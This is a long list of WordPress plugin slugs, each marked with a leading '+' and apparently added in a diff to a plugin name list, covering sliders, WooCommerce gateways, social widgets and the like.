+viperbar
+cf-shopping-cart
+admin-customization
+visual-term-description-editor
+videostir-spokesperson
+xslt
+uploadplus
+1000grad-epaper
+giphypress
+no-future-posts
+featured-posts-slideshow
+user-permissions
+random-featured-post-plugin
+ap-custom-testimonial
+skt-nurcaptcha
+hrecipe
+mad-mimi
+bsuite
+wp-wap
+real-estate
+postmash-custom
+wp-family-tree
+primary-feedburner
+wp-currency-converter
+random-redirect
+colorful-text-widget
+wp-invites
+faf
+powr-image-slider
+ssg-wordpress-google-audio-player
+bp-redirect-to-profile
+vegas-fullscreen-background-slider
+sellfire-affiliate-store-builder
+sitewit-engagement-analytics
+robokassa-for-woocommerce
+dx-auto-save-images
+facebook-simple-like
+ccavenue-payment-gateway-woocommerce
+wp-custom-login-page
+facebook-stream
+amikelive-adsense-widget
+kento-pricing-table-free
+jsj-gallery-slideshow
+facebook-like-box-pop-up
+wp-snap
+dashboard-widget-manager
+chatwee
+archived-post-status
+syntax-highlighter-compress
+rtsocial
+html5-mp3-player-with-mp3-folder-feedburner-playlist
+google-web-fonts-customizer-gwfc
+wp-tabular
+orangebox
+wp-stripe
+random-file
+full-registration-form
+hide-plugin-updates-notifications
+syntax-highlighter-mt
+responsive-mobile-friendly-tooltip
+easy-code-placement
+simple-likebuttons
+smart-countdown-fx
+edge-suite
+wp-users-exporter
+social-master
+instalinker
+simple-optimizer
+telegram-bot
+wordpress-admin-bar-improved
+locations
+powr-banner-slider
+wp-custom-category-pages
+facelift-image-replacement
+instagram-widget-for-wordpress
+ozh-absolute-comments
+disable-wordpress-theme-updates
+cielo-woocommerce
+verify-ownership
+google-webfont-optimizer
+wordpress-meta-description
+bns-add-widget
+disqus-recent-comments-widget
+contact-form-7-bwp-recaptcha-extension
+disable-updates
+spreaker-shortcode
+tabs
+ss-downloads
+wpautop-control
+arty-popup
+column-posts
+wp-fade-in-text-news
+easyvideoplayer
+expandcollapse-funk
+edit-any-table
+simple-business-manager
+pressforward
+changyan
+wp-e-commerce-simple-product-options
+simple-social-expandable
+rotating-posts
+content-management-system-dashboard
+genesis-post-teasers
+wp-sentinel
+vibe-seo-pack
+grid
+tiny-carousel-horizontal-slider-plus
+wp-social-widget
+wysiwyg
+wordpress-event-calendar
+custom-post-type-page-template
+woocommerce-product-image-flipper
+wp-testimonial-widget
+delete-comments-by-status
+wp-webinarsystem
+wp-jquery-plus
+easy-landing-pages
+fedex-woocommerce-shipping-method
+download-button-shortcode
+simple-counters
+wp-isell-photo
+team-rosters
+easy-review-builder-for-wordpress
+subscribe-here-widget
+postmash-filtered
+aimojo
+subscribers-text-counter
+bbpress-private-replies
+diggz-et
+flickrpress
+media-category-library
+dynamicwp-contact-form
+simple-signup-form
+traffic-flash-counter
+theme-options
+korea-sns
+super-transition-slideshow
+pronamic-cookies
+ketchup-shortcodes-pack
+yith-woocommerce-dynamic-pricing-and-discounts
+amazonfeed
+tdlc-birthdays
+tantan-spam
+wpms-sidebar-login-widget
+print-post-and-page
+wp-insert-code
+recent-post-thumbnail-slider-widget
+easy-responsive-shortcodes
+wp-days-ago
+jc-submenu
+wp-require-login
+unattach-and-re-attach-attachments
+image-text-widget
+featplug
+ssquiz
+suppamenu-lite
+best-logo-slider
+fantastic-content-protector-free
+featured-image-widget
+uploads-folder
+avcp
+archives
+outbound-links
+tinymce-thumbnail-gallery
+wp-encrypt
+getsitecontrol
+bbpress-login-register-links-on-forum-topic-pages
+social-media-buttons-widgets
+hybrid-tabs
+postlists
+travel-search
+netease-music
+admin-flush-w3tc-cache
+j-post-slider
+auto-copyright-1
+latest-news-widget
+url-params
+simple-woocommerce-csv-loader
+rs-event-multiday
+current-date-time-widget
+single-latest-posts-lite
+fast-secure-recaptcha
+flexible-shipping
+wpsso-schema-json-ld
+vipers-video-quicktags-migrator
+facebook-video-embed
+wp-23-statistics
+webfish-dropdown-menu
+ldap-login-for-intranet-sites
+menu-icons-icomoon
+auto-iframe
+paypal-ipn
+wp-meetup
+plainview-activity-monitor
+easy-wp-cookie-popup
+wpdatatables
+cbnet-multi-author-comment-notification
+wp-columns
+definitely-allow-mobile-zooming
+review-builder
+maintenance-mode-and-under-construction-page
+scrapeazon
+robotstxt-rewrite
+horizontal-motion-gallery
+disable-revisions
+awesome-widgets-for-siteorigin-page-builder
+floating-adsense-bar
+myshouts-shoutbox
+backup-amazon-s3
+download-media-library
+exchange-rate-table
+wp-database-cleaner
+facebook-like-button-by-kms
+pagepressapp
+contact-form-7-paypal-extension
+smooth-scrolling-links-ssl
+float-to-top-button
+wpsecureops-bruteforce-protect
+crazy-lazy
+custom-post-type-archives
+wplike2get
+wp-ticker
+woo-extra-flat-rate
+provide-support-live-chat
+upload-larger-plugins
+gravityforms-html5-placeholders
+advanced-advertising-system
+mh-board
+dop-player
+pin-it-on-pinterest
+woocommerce-variation-details-on-page-product
+email-post-changes
+acf-to-rest-api
+wp-post-sorting
+custom-field-list-widget
+tabify-edit-screen
+widgets-in-menu
+cispm-contact-mail
+mac-dock-gallery
+feed-stats-plugin
+decent-seo
+simple-social-sharing-widgets-icons-updated
+breaking-news-ticker
+spam-free
+all-in-one-seo-pack-qtranslate-x
+zd-youtube-flv-player
+picasa-widget
+prestashop-integration
+auto-prune-posts
+developers-custom-fields
+wp-email-users
+replyme
+crony
+wp-ds-faq
+allow-javascript-in-posts-and-pages
+buddypress-easy-albums-photos-video-and-music-next-gen
+new-image-gallery
+nurelm-get-posts
+sitelinks-search-box
+mywebtonet-performancestats
+avartan-slider-lite
+woocommerce-custom-options-lite
+slidedeck3
+quicktime-embed
+tw-pagination
+wplite
+simple-no-comments
+buddypress-friends-on-line
+eway-payment-gateway
+miniorange-limit-login-attempts
+woo-multi-currency
+googl
+redirect-by-custom-field
+pinterest-follow-button
+facepress-ii
+paged-comments
+cornerstone
+combine-css
+wp-bouncer
+chamber-dashboard-business-directory
+genesis-printstyle-plus
+botnet-attack-blocker
+jcarousel-post-slider
+wp-meta-keywords-meta-description
+shortcodes-to-show-or-hide-content
+auto-delete-posts
+wp-manutencao
+easy-toolbox
+gd-pages-navigator
+cbnet-twitter-widget
+hpbseo
+secupress
+contact-form-advanced-database
+pdf-thumbnails
+html5-soundcloud-player-with-playlist
+wordpress-database-abstraction
+wp-sifr
+quickiebar
+simple-featured-posts-widget
+social-homes
+sem-unfancy-quote
+flexible-recent-posts
+taxonomy-picker
+inlinks-ad-plugin
+facebook-events-importer
+paypal-express-checkout
+simple-twitter-status-updates
+roohit-plugin
+front-end-users
+wp-translitera
+exports-and-reports
+gmo-font-agent
+subscribe-to-comments-now
+wp-smart-sort
+liveagent
+post-hit-counter
+wc-widgets
+plus-one
+custom-widget-area
+bbpress-latest-discussion
+remove-slug-from-custom-post-type
+redux-developer-mode-disabler
+a3-portfolio
+add-to-home-screen-wp
+wp-ecommerce-shop-styling
+my-bootstrap-menu
+theme-downloader
+tinypass
+kevinjohn-gallagher-pure-web-brilliants-base-framework
+woocommerce-to-google-merchant-center
+wp-mediatagger
+hover-image
+propellerads-official
+yith-woocommerce-product-bundles
+postaffiliatepro
+eu-cookie-law-consent
+crm-customer-relationship-management-by-vcita
+wp-word-count
+my-tickets
+pojo-news-ticker
+gregs-comment-length-limiter
+woosocio
+search-box-on-navigation-menu
+user-profile
+woocommerce-novalnet-gateway
+bootstrap
+sola-testimonials
+s3slider-plugin
+better-stop-adblock
+nice-navigation
+wp-photo-sphere
+birthdays-widget
+wp-floating-menu
+post-status-notifier-lite
+banner-garden
+drop-caps
+wp-copysafe-web
+yith-woocommerce-subscription
+snow-flurry
+magic-wp-coupons
+meet-my-team
+video-central
+flickr-flash-badge-widget
+fuzzy-seo-booster
+wp-announcements
+pojo-custom-fonts
+wp-fb-comments
+wp-championship
+adsense-for-feeds
+socialize-it
+manageable
+clickbank-ads-clickbank-widget
+wp-e-commerce-custom-fields
+ajax-contact-form
+perfect-audience-retargeting
+responsify-wp
+category-widget
+replace-image
+yotpo-social-reviews-for-woocommerce
+bookmark-me
+newsboard
+rate
+chcounter-widget
+yandexmetrika
+sign-up-sheets
+youtube-subscribe-button
+galleria
+follow-subscribe
+custom-wp-login-widget
+wp-vr-view
+wp-oscommerce
+easy-table-of-contents
+storefront-homepage-contact-section
+translator
+meta
+live-composer-lite
+visitors-online
+ozh-click-counter
+google-sitemap-generator-ultimate-tag-warrior-tags-addon
+wp-mail-options
+simple-feed-copyright
+pingfm-custom-url-status-updates
+utubevideo-gallery
+bulk-plugin-installation
+juiz-smart-mobile-admin
+ageverify
+vkontakte-share-button
+scroll-top
+ajax-wp-query-search-filter
+woocommerce-payu-latam-gateway
+facebook-album-photos
+e-mailing-service
+cbnet-mbp-auto-activate
+24liveblog
+syntax-highlighter-and-code-prettifier
+similarity
+subpages-extended
+wp-forum-latest-posts
+wp-copyrighted-post
+bulk-watermark
+insert-adsense
+floating-ad-rotator-with-tracking
+wp-hide-categories
+viral-social-sharing-icons-by-up
+ahalogy-wp
+category-post-widget
+daikos-text-widget
+callrail-phone-call-tracking
+wordpress-login-redirect
+custom-post-view-generator
+speech-bubble
+vertical-scroll-recent-registered-user
+wp-survey-and-poll
+wp-download-codes
+sina-connect
+7feeds-news-ticker
+woocommerce-ajax-add-to-cart-for-variable-products
+vote-the-post
+pricing-table-builder
+hide-categories
+youtube-channel-showcase
+broken-links-remover
+xtreme-banner-rotator
+yith-woocommerce-custom-order-status
+shariff-sharing
+maintenance-switch
+wp-columnize
+vm-backups
+author-category
+iimage-gallery
+quick-subscribe
+wp-glideshow
+wp-admin-ui
+smart-post-lists-light
+wp-quiz
+social-video-gallery
+wd-mailchimp
+cbach-wp-gridster
+auto-featured-image-from-title
+wp-easy-menu
+user-files
+facebook-commentstng
+wp-notcaptcha
+wp-farsi
+author-images
+wp-donottrack
+easy-noindex-and-nofollow
+automated-keywords-generator
+woo-payment-gateway
+job-board-manager
+advanced-most-recent-posts
+pardot
+easy-twitter-button
+ic-besocial
+image-teleporter
+bing-translator
+videowhisper-video-presentation
+google-plus-badge
+facebook-comments-notifier
+author-exposed
+jax-contact-form
+prizm-image
+easy-shortcode-buttons
+superslider
+yext
+woocommerce-radio-buttons
+ra-fb-like-box
+most-read-posts-in-xx-days
+javascript-chat-for-wordpress
+nsx-referers
+mp-share-center
+learnpress-import-export
+mangboard
+cms-press
+sexy-bookmarks-sidebar-plugin
+fw-vimeo-videowall
+binary-mlm
+easy-paypal-shopping-cart
+inline-ajax-page
+facebook-meta-tags
+remove-footer-credit
+scroll-to-top-button
+contact-form-7-datepicker-fix
+sm-sticky-clicky-star
+threat-scan-plugin
+comment-validation
+plista
+buddypress-extended-friendship-request
+striper
+lodgixcom-vacation-rental-listing-management-booking-plugin
+sidebar-menu-widget
+wp-hotwords
+advanced-custom-fields-coordinates
+wrc-pricing-tables
+sgr-nextpage-titles
+wp-ecommerce-compare-products
+email-alerts
+image-widget-deluxe
+ajax-read-more
+triberr-wordpress-plugin
+syntaxhighlighter-tinymce-button
+cherry-services-list
+nice-search
+fonts-add
+buddypress-learndash
+all-in-one-social-network-buttons
+admin-branding
+wp-mobilizer
+wp-sitemap
+admin-dashboard-site-notes
+comment-toolbar
+buddypress-mymood
+wp-bootstrap-carousel
+wwm-social-share-on-image-hover
+hit-counter-max
+ad-code-manager
+price-calc
+powr-twitter-feed
+woocommerce-woocart-popup-lite
+automatically-paginate-posts
+drop-in-image-slideshow-gallery
+simple-user-listing
+jomres
+kk-i-like-it
+seo-image-optimizer
+wp-fontsize
+very-simple-favicon-manager
+facebook-like-box-responsive
+yith-woocommerce-category-accordion
+pn-counter
+cookie-cat
+hide-update-reminder
+yourls-link-creator
+ajax-campaign-monitor-forms
+sc-catalog
+best-related-posts
+wp-mobile-themes
+woodiscuz-woocommerce-comments
+plagiarism-checker-by-sst
+easy-pricing-table-manager
+widget-icon
+djd-site-post
+video-xml-sitemap-generator
+zuppler-online-ordering
+general-headers
+better-author-bio
+slideshow-manager
+wp-jquery-cdn
+onbile
+woo-quick-view
+postmark-approved-wordpress-plugin
+rps-sitemap-generator
+advanced-custom-post-search
+frontpage-category-filter
+kau-boys-backend-localization
+iammobiled-mobile
+flow-flow-social-streams
+xmasb-quotes
+woocommerce-breadcrumbs
+edd-featured-downloads
+click-to-tweet
+slider-responsive-slideshow
+woocommerce-order-address-print
+frontend-edit-profile
+wp-smart-image-ii
+mass-custom-fields-manager
+wp-code-highlightjs
+mousewheel-smooth-scroll
+woocommerce-pdf-print
+maven-member
+mobile-assistant-connector
+bei-fen
+feed-template-customize
+wp-world-of-warcraft
+bbpress-new-ui
+awd-weightcountry-shipping
+ninja-forms-layout
+easy-countdowner
+contact-form-7-simple-recaptcha
+ungallery
+staticpress
+kingkong-board
+google-talk-sidebar-widget-10
+advanced-random-post
+prospress
+contact-form-7-signature-addon
+localize
+mp-emmet
+enhanced-category-pages
+nice-trailingslashit
+genesis-footer
+mymail-mandrill-integration
+advanced-sitemap-generator
+wp-redis
+user-activation-keys
+cherry-projects
+lazy-load-xt
+cudazi-scroll-to-top
+ultimate-post-type-manager
+post2pdf-converter
+world-cup-predictor
+random-youtube-video
+jj-nextgen-image-list
+code-markup
+cart66-cloud
+upload-url-path-enabler
+image-formatr
+responsive-video-shortcodes
+seo-content-control
+disable-rss
+santas-christmas-countdown
+bootstrap-modals
+easy-facebook-feed
+elasticpress
+bbpress-post-topics
+fotomoto
+pojo-accessibility
+adkingpro
+ts-widget-pack
+styled-facebook-like-box
+twitter-friends-widget
+wp-email-to-facebook
+preserved-html-editor-markup-plus
+miwosql
+export-emails
+buddypress-sidebar
+twitter-embed
+tentbloggers-feedburner-rss-redirect-plugin
+tentblogger-optimize-wordpress-database-plugin
+hreflang-tags-by-dcgws
+project-panorama-lite
+dw-shortcodes-bootstrap
+cartpauj-register-captcha
+wp-font-resizer
+ppm-carousel
+codepeople-theme-switch
+cookie-confirm
+wpml-to-polylang
+mygeopositioncom-geotags-geometatags
+upi-crm-universal-crm-solution
+srizon-responsive-youtube-album
+iq-testimonials
+ngg-sidebar-widget
+custom-write-panel
+kobra-hover-effects-for-visual-composer
+yandex-pinger
+wp-facebook-pixel
+proofread-bot
+wp-lijit-wijit
+mass-email-to-users
+cliftons-lightbox
+statpress-dashboard-widget-lite
+affiliate-links
+easy-pinterest
+tk-google-fonts
+sportspress-tv
+disable-real-mime-check
+display-php-version
+qrcode-wprhe
+repress
+facebook-like-button-for-dummies
+expander
+force-user-login
+my-wp-tagcanvas
+fundraising-thermometer-plugin-for-wordpress
+bp-automatic-friends
+woocommerce-max-quantity
+games
+content-manager-light
+mtphr-widgets
+bwp-external-links
+fun-with-sidebar-tabs
+twitter-cards
+delete-multiple-themes
+woo-extra-product-options
+callback-request
+wp-archives
+latest-posts
+last-modified-timestamp
+font-awesome-shortcodes
+youtube-videos-widget
+responsive-google-map
+number-of-view
+mp-restaurant-menu
+weblibrarian
+our-services-showcase
+gs-testimonial
+wp-flipclock
+jaspreetchahals-coupons-lite
+auto-tweet
+mini-slides
+addfreestats
+wp-asset-clean-up
+ucenter-integration
+quiz-cat
+playwire
+image-source-control-isc
+text-control
+stella-free
+link-to-your-content
+buddypress-profile-tabs
+srbtranslatin
+royal-image-hover-effects
+event-o-matic
+buddypress-first-letter-avatar
+piglatin
+portfolio-filter-gallery
+wp-emoji-one
+advanced-twitter-profile-widget
+paginated-comments
+eventpress
+calendar-archives
+easy-404-redirect
+pushover-for-woocommerce
+category-posts-widget
+woocommerce-export-customer-email
+comment-attachment
+html5-slideshow-presentations
+syndicate-out
+hookpress
+ie6-upgrade-option
+yd-feedwordpress-content-filter
+min-and-max-purchase-for-woocommerce
+recent-comments-with-avatars
+pages-in-widgets
+disable-users
+gra4-social-network
+rating-system
+diamond-multisite-widgets
+ultimate-blogroll
+emu2-email-users-2
+thinglink
+parallel-loading-system
+auto-excerpt
+goingup-web-analytics
+featured-image-caption
+simple-revisions-delete
+order-up-custom-post-order
+wp-slick-slider
+minify
+google-plus-author
+send-images-rss
+sola-support-tickets
+appful
+bbspoiler
+kocuj-sitemap
+stylish-popular-posts
+members-only-menu-plugin
+attachment-importer
+advanced-search-widget
+s5-image-and-content-fader
+rencontre
+post-google-map
+quickapp
+chatwing
+fv-code-highlighter
+easy-wp-page-navigation
+newsme
+colorbox-panels
+woocommerce-apg-sms-notifications
+use-shortcodes-in-sidebar-widgets
+woo-stickers-by-webline
+wp-thumb
+global-post-password
+backup-database
+wp-post-template
+aweber-footer-slideup
+backuper
+send-email-only-on-reply-to-my-comment
+quotmarks-replacer
+picasa-album-uploader
+advanced-floating-content-lite
+tierra-audio-playlist-manager
+security-antivirus-firewall
+photo-express-for-google
+gravatar-favicon
+buddymobile
+rezgo-online-booking
+poeditor
+yoast-seo-acf-analysis
+grooveshark
+eci-login
+og
+upload-to-ftp
+papa-rss-import
+menus
+mass-messaging-in-buddypress
+wp-project
+custom-css-whole-site-and-per-post
+author-box-after-posts
+woocommerce-custom-product-data-fields
+smoothness-slider-shortcode
+conveythis-language-translation-plugin
+name-directory
+mk-slider
+fv-gravatar-cache
+remove-taxonomy-base-slug
+video-sidebar-widget
+wpsecureops-easy-firewall
+hyphenator
+bbc-world-service-widget
+appbanners
+all-in-one-seo-pack-windows-live-writer-bridge
+tracking-code
+wp-gif-player
+wp-smf-a-simplemachines-bridge
+wp-session-manager
+yith-woocommerce-mailchimp
+cp-appointment-calendar
+wp-simpleweather
+add-widget-after-content
+video-importer
+odihost-easy-redirect-301
+hide-wp-urls
+buddypress-group-forum-extras
+heiv-gallery-3
+woocommerce-product-faqs
+buddypress-profile-progression
+guiform
+info-boxes-shortcode-and-widget
+ip-filter
+like-fb
+combine-js
+wp-ticket
+custom-taxonomy-sort
+yahoo-weather
+all-related-posts
+agenda
+kanban
+buddypress-social
+sniplets
+change-permalink-helper
+wp-copy-protect
+agnosia-bootstrap-carousel
+ultimate-facebook-comments-email-notify
+no-captcha-recaptcha-for-woocommerce
+colored-vote-polls
+raw-html-snippets
+video-list-manager
+join-my-multisite
+wp-cron-dashboard
+wp-posts-filter
+google-auto-post
+wp-change-default-email
+collapsible-archive-widget
+contact-form-ready
+recent-post-list
+wp-video-seo
+shiftcontroller
+wc-responsive-video
+theatre
+graceful-pull-quotes
+gianism
+visual-editor-tinymce-buttons
+youlist
+re-attacher
+wp-e-commerce-featured-product
+facebook-album-sync
+rootspersona
+post-by-email
+feather
+auto-schedule-posts
+skysa-weather-for-us-widget
+restrict-usernames
+yith-woocommerce-points-and-rewards
+shareadraft
+jquery-expanding-box
+antispam-for-all-fields
+voting-platform-feelbacks
+link-harvest
+category-tag-pages
+fightback-plugin
+coupon-pop-for-wp
+facelook-facebook-badge-wordpress-plugin
+canon-aede
+simple-custom-post-type-archives
+singsong
+recipress
+print-me
+wp-log-robots
+wp-onpage-seo
+ibeducator
+custom-ads-sidebar
+grid-wud
+side-content
+wolfnet-idx-for-wordpress
+remote-images-grabber
+weixin-robot
+cms2cms-joomla-to-wp-migration
+photoshelter-gallery-widget
+olark-for-wp
+bp-my-home
+wp-google-authenticator
+wordpress-random-image
+etruel-del-post-copies
+cp-polls
+youtube-sidebar
+map-me
+wp-search-suggest
+imagerecycle-pdf-image-compression
+user-groups
+one-page-portfolio
+spamreferrerblock
+site-offline
+simple-maintenance
+glass
+themify-builder-lite
+wp-real-estate-property-listing-crm
+ninja-announcements
+advance-portfolio-grid
+wp-geshi-highlight
+auto-refresh-single-page
+remove-all-comments
+gc-message-box
+estatik
+easy-image-display
+colorbox
+paypal-donation-button
+woocommerce-product-category-selection-widget
+business-hours-plugin
+many-tips-together
+advanced-custom-fields-categories
+cgm-event-calendar
+widget-embed-lastest-tweets
+qq-kefu
+recipe-hero
+google-affiliate-network
+oembed-gist
+wp-sentry
+gigya-toolbar
+woo-instamojo
+linksharerss-ads
+wordpress-special-characters-in-usernames
+eventify
+woo-advanced-discounts
+wizscriber-video-scribing-banner-ads
+wp-chinese-conversion
+pojo-builder-animation
+ap-mega-menu
+gl-facebook-likebox
+wp-cms
+quick-count
+media-grid
+ivycat-ajax-testimonials
+recommend-a-friend
+woocommerce-eu-vat-assistant
+bbpressmoderation
+post-editor-buttons
+the-holiday-calendar
+animate-slider
+wordpress-toolbar
+wp-flickr
+more-taxonomies
+upcoming-events-lists
+jquery-html5-file-upload
+splashscreen
+follow-us-box
+jquery-featured-content-gallery
+order-up-custom-page-order
+event-geek
+category-template-hierarchy
+bowe-codes
+vikispot
+wp-call-me-back
+buddypress-auto-group-join
+forum-restrict
+really-simple-popup
+mapquest-map-builder
+press-this-reloaded
+bb-header-footer
+xhtml-video-embed
+google-remarketing
+seo-blogger-to-wordpress-301-redirector
+translucent-image-slideshow-gallery
+wp-pinterest
+ratings-shorttags
+ninjatools
+powr-button
+ultimate-modal
+comment-disable-master
+bluetrait-event-viewer
+event-post
+app-store-assistant
+meta-stats-all-in-one-seo-pack-addon
+download-plugin
+search-engine
+gravity-forms-sticky-list
+livehelpnow-help-desk
+powr-about-us
+post-lists-view-custom
+rss-scroller
+lava-directory-manager
+easy-webmaster-tools
+zarinpal-woocommerce-payment-gateway
+background-slider-master
+stripe-payments
+wp-bar
+mad-mimi-sign-up-forms
+wp-persian
+flash-tag-cloud
+status-press-widget
+campaign-monitor-wp
+featured-category-posts
+buddypress-facebook
+ratings
+edd-auto-register
+text-expander
+wp-amazon-ads
+opt-in-panda
+medium
+all-in-one-sub-navi-widget
+zanto
+contact-form-7-response-colorbox-popup
+google-wordpress-widgets
+quick-xml-sitemap
+azurecurve-toggle-showhide
+clean-my-archives
+team-builder
+pmpro-register-helper
+wpbase-cache
+123linkit-affiliate-marketing-tool
+invitefriends-plug-in
+auto-translator
+default-blog-options
+taxjar-simplified-taxes-for-woocommerce
+email-this-page
+add-full-svg-support
+wp-lister-for-amazon
+wp-frontpagebanner
+view-own-posts-media-only
+wc-variations-radio-buttons
+rs-buddypress-activity-refresh
+genesis-featured-content-widget
+wp-analytics
+multi-column-taxonomy-list
+amberpanther-favicon-for-wordpress
+wp-oauth
+learnpress-fill-in-blank
+pushcrew
+blog-stats
+prime-extensions-for-visual-composer
+pal-shopping-cart
+wp-inventory-manager
+referrer-detector
+row-seats
+simple-login
+drift
+php-everywhere
+wp-product-feed-manager
+themeforest-check
+testimonial-free
+nextgen-gallery-geo
+power-code-editor
+checkbot
+html-social-share-buttons
+flip-pong-v
+bangla-date-display
+short-url-plugin
+enhanced-links
+wp-whos-online
+vimeo-simplegallery
+user-access-manager-nextgen-gallery-extension
+wp2bb
+powr-social-feed
+project-status
+autocompleter
+bbpress-genesis-extend
+wp-team-showcase-and-slider
+cookie-bar
+bamboo-columns
+wens-social-links
+dw-social-feed
+facebook-vinyl
+sticky-social-bar
+cac-featured-content
+woocommerce-transferujpl-payment-gateway
+skypewidget
+twitch-status
+yith-woocommerce-bulk-product-editing
+wen-logo-slider
+wp-smart-flexslider
+blip-slideshow
+tantan-reports
+sis-social-share
+better-recent-posts-widget
+aryo-widget-device
+photo-gallery-pearlbells
+http-authentication
+password-protect-plugin-for-wordpress
+just-one-category
+gallery-plus
+visitorcontact
+google-transliteration
+wpecounter
+powr-photo-gallery
+post2pdf
+scroll-to-anchor
+wordpresscom-stats-helper
+ft-signature-manager
+wp-quick-front-end-editor
+oauth-twitter-sidebar-widget
+smarter-navigation
+prosociate-amazon
+html-special-characters-helper
+gspeech
+my-loginlogout
+jquery-accordion-slideshow
+mobstac-blogger
+larsens-calender
+custom-user-registration
+images-lazyload-and-slideshow
+cloudwok-file-upload
+database-sync
+ultimate-google-fonts
+rapid-twitter-widget
+live-scores
+blueimp-lightbox
+yandex-share
+custom-html-bodyhead
+tsp-featured-posts
+docxpresso
+cat-tag-filter-widget
+wpnewcarousels
+custom-content-width
+ultimate-profile-builder
+simple-galleria-for-wordpress
+facebook-social-stream
+random-content
+learnpress-prerequisites-courses
+featured-posts
+wpsso-rrssb
+bon-toolkit
+17fav-bookmark-share
+twitter-news-feed
+side-menu
+wp-jquery-timelinr
+google-adsense-dashboard
+align-rss-images
+yottie-lite
+categories-for-anspress
+before-after-image-slider-lite
+bbpress-post-toolbar
+add-font-family-dropdown-to-visual-editor
+wp-responsive-video-gallery-with-lightbox
+eleganto-advanced-sections
+cleeng
+woocommerce-checkout-terms-conditions-popup
+tinyslider
+wordpress-admin-notepad
+woocommerce-remove-all-products
+recommended-reading-google-reader-shared
+cpanel-manager-from-worpit
+gravity-forms-placeholder-support-add-on
+fusion
+51degreesmobi
+live-chat-software-for-wordpress
+buddypress-twitter
+wp-site-mapping
+postalicious
+clocky
+arconix-portfolio
+inline-editor
+wpml-flag-in-menu-extended
+google-web-fonts-manager-plugin
+cr3ativ-sponsor
+responsive-flickr-gallery
+wpb-accordion-menu-or-category
+analytics-tracker
+buzzsprout-podcasting
+wp-downloadcounter
+mn-contact-form
+featured-image-via-url
+ecwid-useful-tools
+iframe-preserver
+cryptographp
+whitelist-ip-for-limit-login-attempts
+wp-random-header
+latest-tweets
+theme-slider
+vkontakte
+bp-group-organizer
+esaudioplayer
+sticky-manager
+aspen-shortcodes-and-widgets
+simple-booking-form-wordpress-plugin
+inline-comments
+facebook-fan-box-cache
+bp-xtra-signup
+page-blocks
+gravatar-box
+gpp-testimonials-widget
+uber-media
+feed-json
+faq-builder
+storyform
+buddypress-group-tags
+custom-404-error-page
+genesis-widgetized-notfound
+wp-block-admin
+genki-announcement
+vkontakte-wall-post
+woocommerce-brand
+htaccess
+menu-master-custom-widget
+genesis-super-customizer
+arabic-webfonts
+woocommerce-category-banner
+invite-friends
+google-web-fonts-for-wordpress
+random-posts-from-category
+boxers-and-swipers
+smooth-page-scroll-updown-buttons
+bp-live-notification
+multisite-cloner
+clicksold-wordpress-plugin
+sm-sticky-featured-widget
+indic-ime
+real-estate-mls-search
+wp-social-slider
+powpoll
+wp-favicons
+category-featured-images
+addthis-sidebar-widget
+responsive-video
+zeno-font-resizer
+price-table
+stopbadbots
+wordpress-domain-search
+google-calendar-plugin
+bws-smtp
+wp-show-stats
+spoontalk-social-media-icons-widget
+yith-woocommerce-product-countdown
+powr-paypal-button
+mymail-amazon-ses-integration
+wp-featured-content-and-slider
+appstore
+assetsminify
+allow-swf-upload
+bp-cover
+custom-404-error-page-unlimited-designs-colors-and-fonts
+heateor-social-comments
+wp-reportpost
+responsive-slideshow
+ngg-video-extend
+single-categories
+wp-comment-remix
+pomo-editor
+kb-linker
+ari-adminer
+paypal-pay-buy-donation-and-cart-buttons-shortcode
+pushover-notifications
+category-custom-post-order
+easy-paypal-donation
+customize
+woocommerce-product-gift-wrap
+vip-scanner
+woocommerce-csv-exporter
+just-writing
+convertable-contact-form-builder-analytics-and-lead-management-dashboard
+latest-post-shortcode
+libxml2-fix
+widget-entries
+recent-tweets-widget-enhanced
+dhl-woocommerce-shipping-method
+ciusan-register-login
+tweetly-updater
+gcal-sidebar
+google-fonts-acceleration
+contact-form-cfdb7
+shiny-updates
+amimoto-dashboard
+wp-facebook-like-this
+cnhk-slideshow
+page-sidebars
+giweather
+div-shortcode
+yith-woocommerce-share-for-discounts
+google-map-locations
+network-privacy
+lowermedia-sticky-js-menus
+newstastic-post-slider
+wp-copysafe-pdf
+protection-against-ddos
+multi-image-metabox
+wp-scroll-to-top
+donate-button
+mylinksdump
+product-sales-report-for-woocommerce
+bbcode
+scormcloud
+bens-translator
+setmore-appointments
+quantcast-quantifier
+pro-categories-widget
+my-youtube-playlist
+responsive-image-gallery
+ilen-video-locker
+flippingbook
+404-error-monitor
+search-by-algolia-instant-relevant-results
+qtranslate-support-for-woocommerce
+tentbloggers-vimeo-youtube-rss-embed
+woocommerce-myparcel
+visual-web-optimizer
+cr3ativ-carousel
+background-control
+social-icons-widget
+divup-content
+admin-customizer
+random-facts
+facebook-twitter-google-with-new-icon-design-buttons
+social-media-mashup
+wp-flashflyingtags
+new-photo-gallery
+google-video-sitemap-feed-with-multisite-support
+wp-simple-mail-sender
+search-replace
+tilted-tag-cloud-widget
+image-caption
+add-rss
+wp-accessibility-helper
+advanced-uploader
+youtube-live-stream-auto-embed
+reverse-order-comments
+simple-csv-xls-exporter
+functionality-for-shopera-theme
+ultimate-cms
+jivosite
+iw-magnific-popup
+buy-sell-ads
+baw-multiple-pass-for-protected-pages
+wp-e-commerce-style-email
+top-authors
+better-menu-widget
+mdp-google-webmaster-tools
+file-icons
+nice-youtube-lite
+list-category-posts-with-pagination
+latest-news-plugin
+wsecure
+lazy-widget-loader
+auto-keywoard-and-description-generator
+social-sharing-buttons
+motopress-slider-lite
+excel-like-price-change-for-woocommerce-and-wp-e-commerce-light
+orbis
+wp-re-importer
+wp-management-controller
+graceful-sidebar-plugin
+buddypress-user-account-type-lite
+bp-show-friends
+supple-forms
+wp-social-seo
+gallery-portfolio
+picasaview
+bp-user-profile-map
+u-buddypress-forum-editor
+googlepr
+u-buddypress-forum-attachment
+zero-conf-mail
+really-simple-image-widget
+custom-fields-shortcode
+wp-twitter-button
+widget-logic-by-path
+authorizenet-woocommerce-addon
+wp-easy-backup
+work-the-flow-file-upload
+wp-db-optimizer
+komoona-advertising-cpm-adverts
+google-plus-google
+auto-tag-generator
+host-analyticsjs-local
+yandex-maps-api
+custom-post-type-list-shortcode
+manual-control
+csprites-for-wordpress
+backtotop
+zipaddr-jp
+thesography
+anmiated-twitter-bird
+collapsible-elements
+quote-master
+new-twitter-button
+wp-user
+buddypress-sitemap-generator
+cherry-team-members
+posts-in-category-widget
+plus-one-button
+woocommerce-sermepa-payment-gateway
+woocommerce-improved-external-products
+list-authors
+text-selection-color
+twitter-publisher
+wpspoiler
+shrinktheweb-website-preview-plugin
+print-invoices-packing-slip-labels-for-woocommerce
+wpfavs
+custom-options-plus
+bbpress-protected-forums
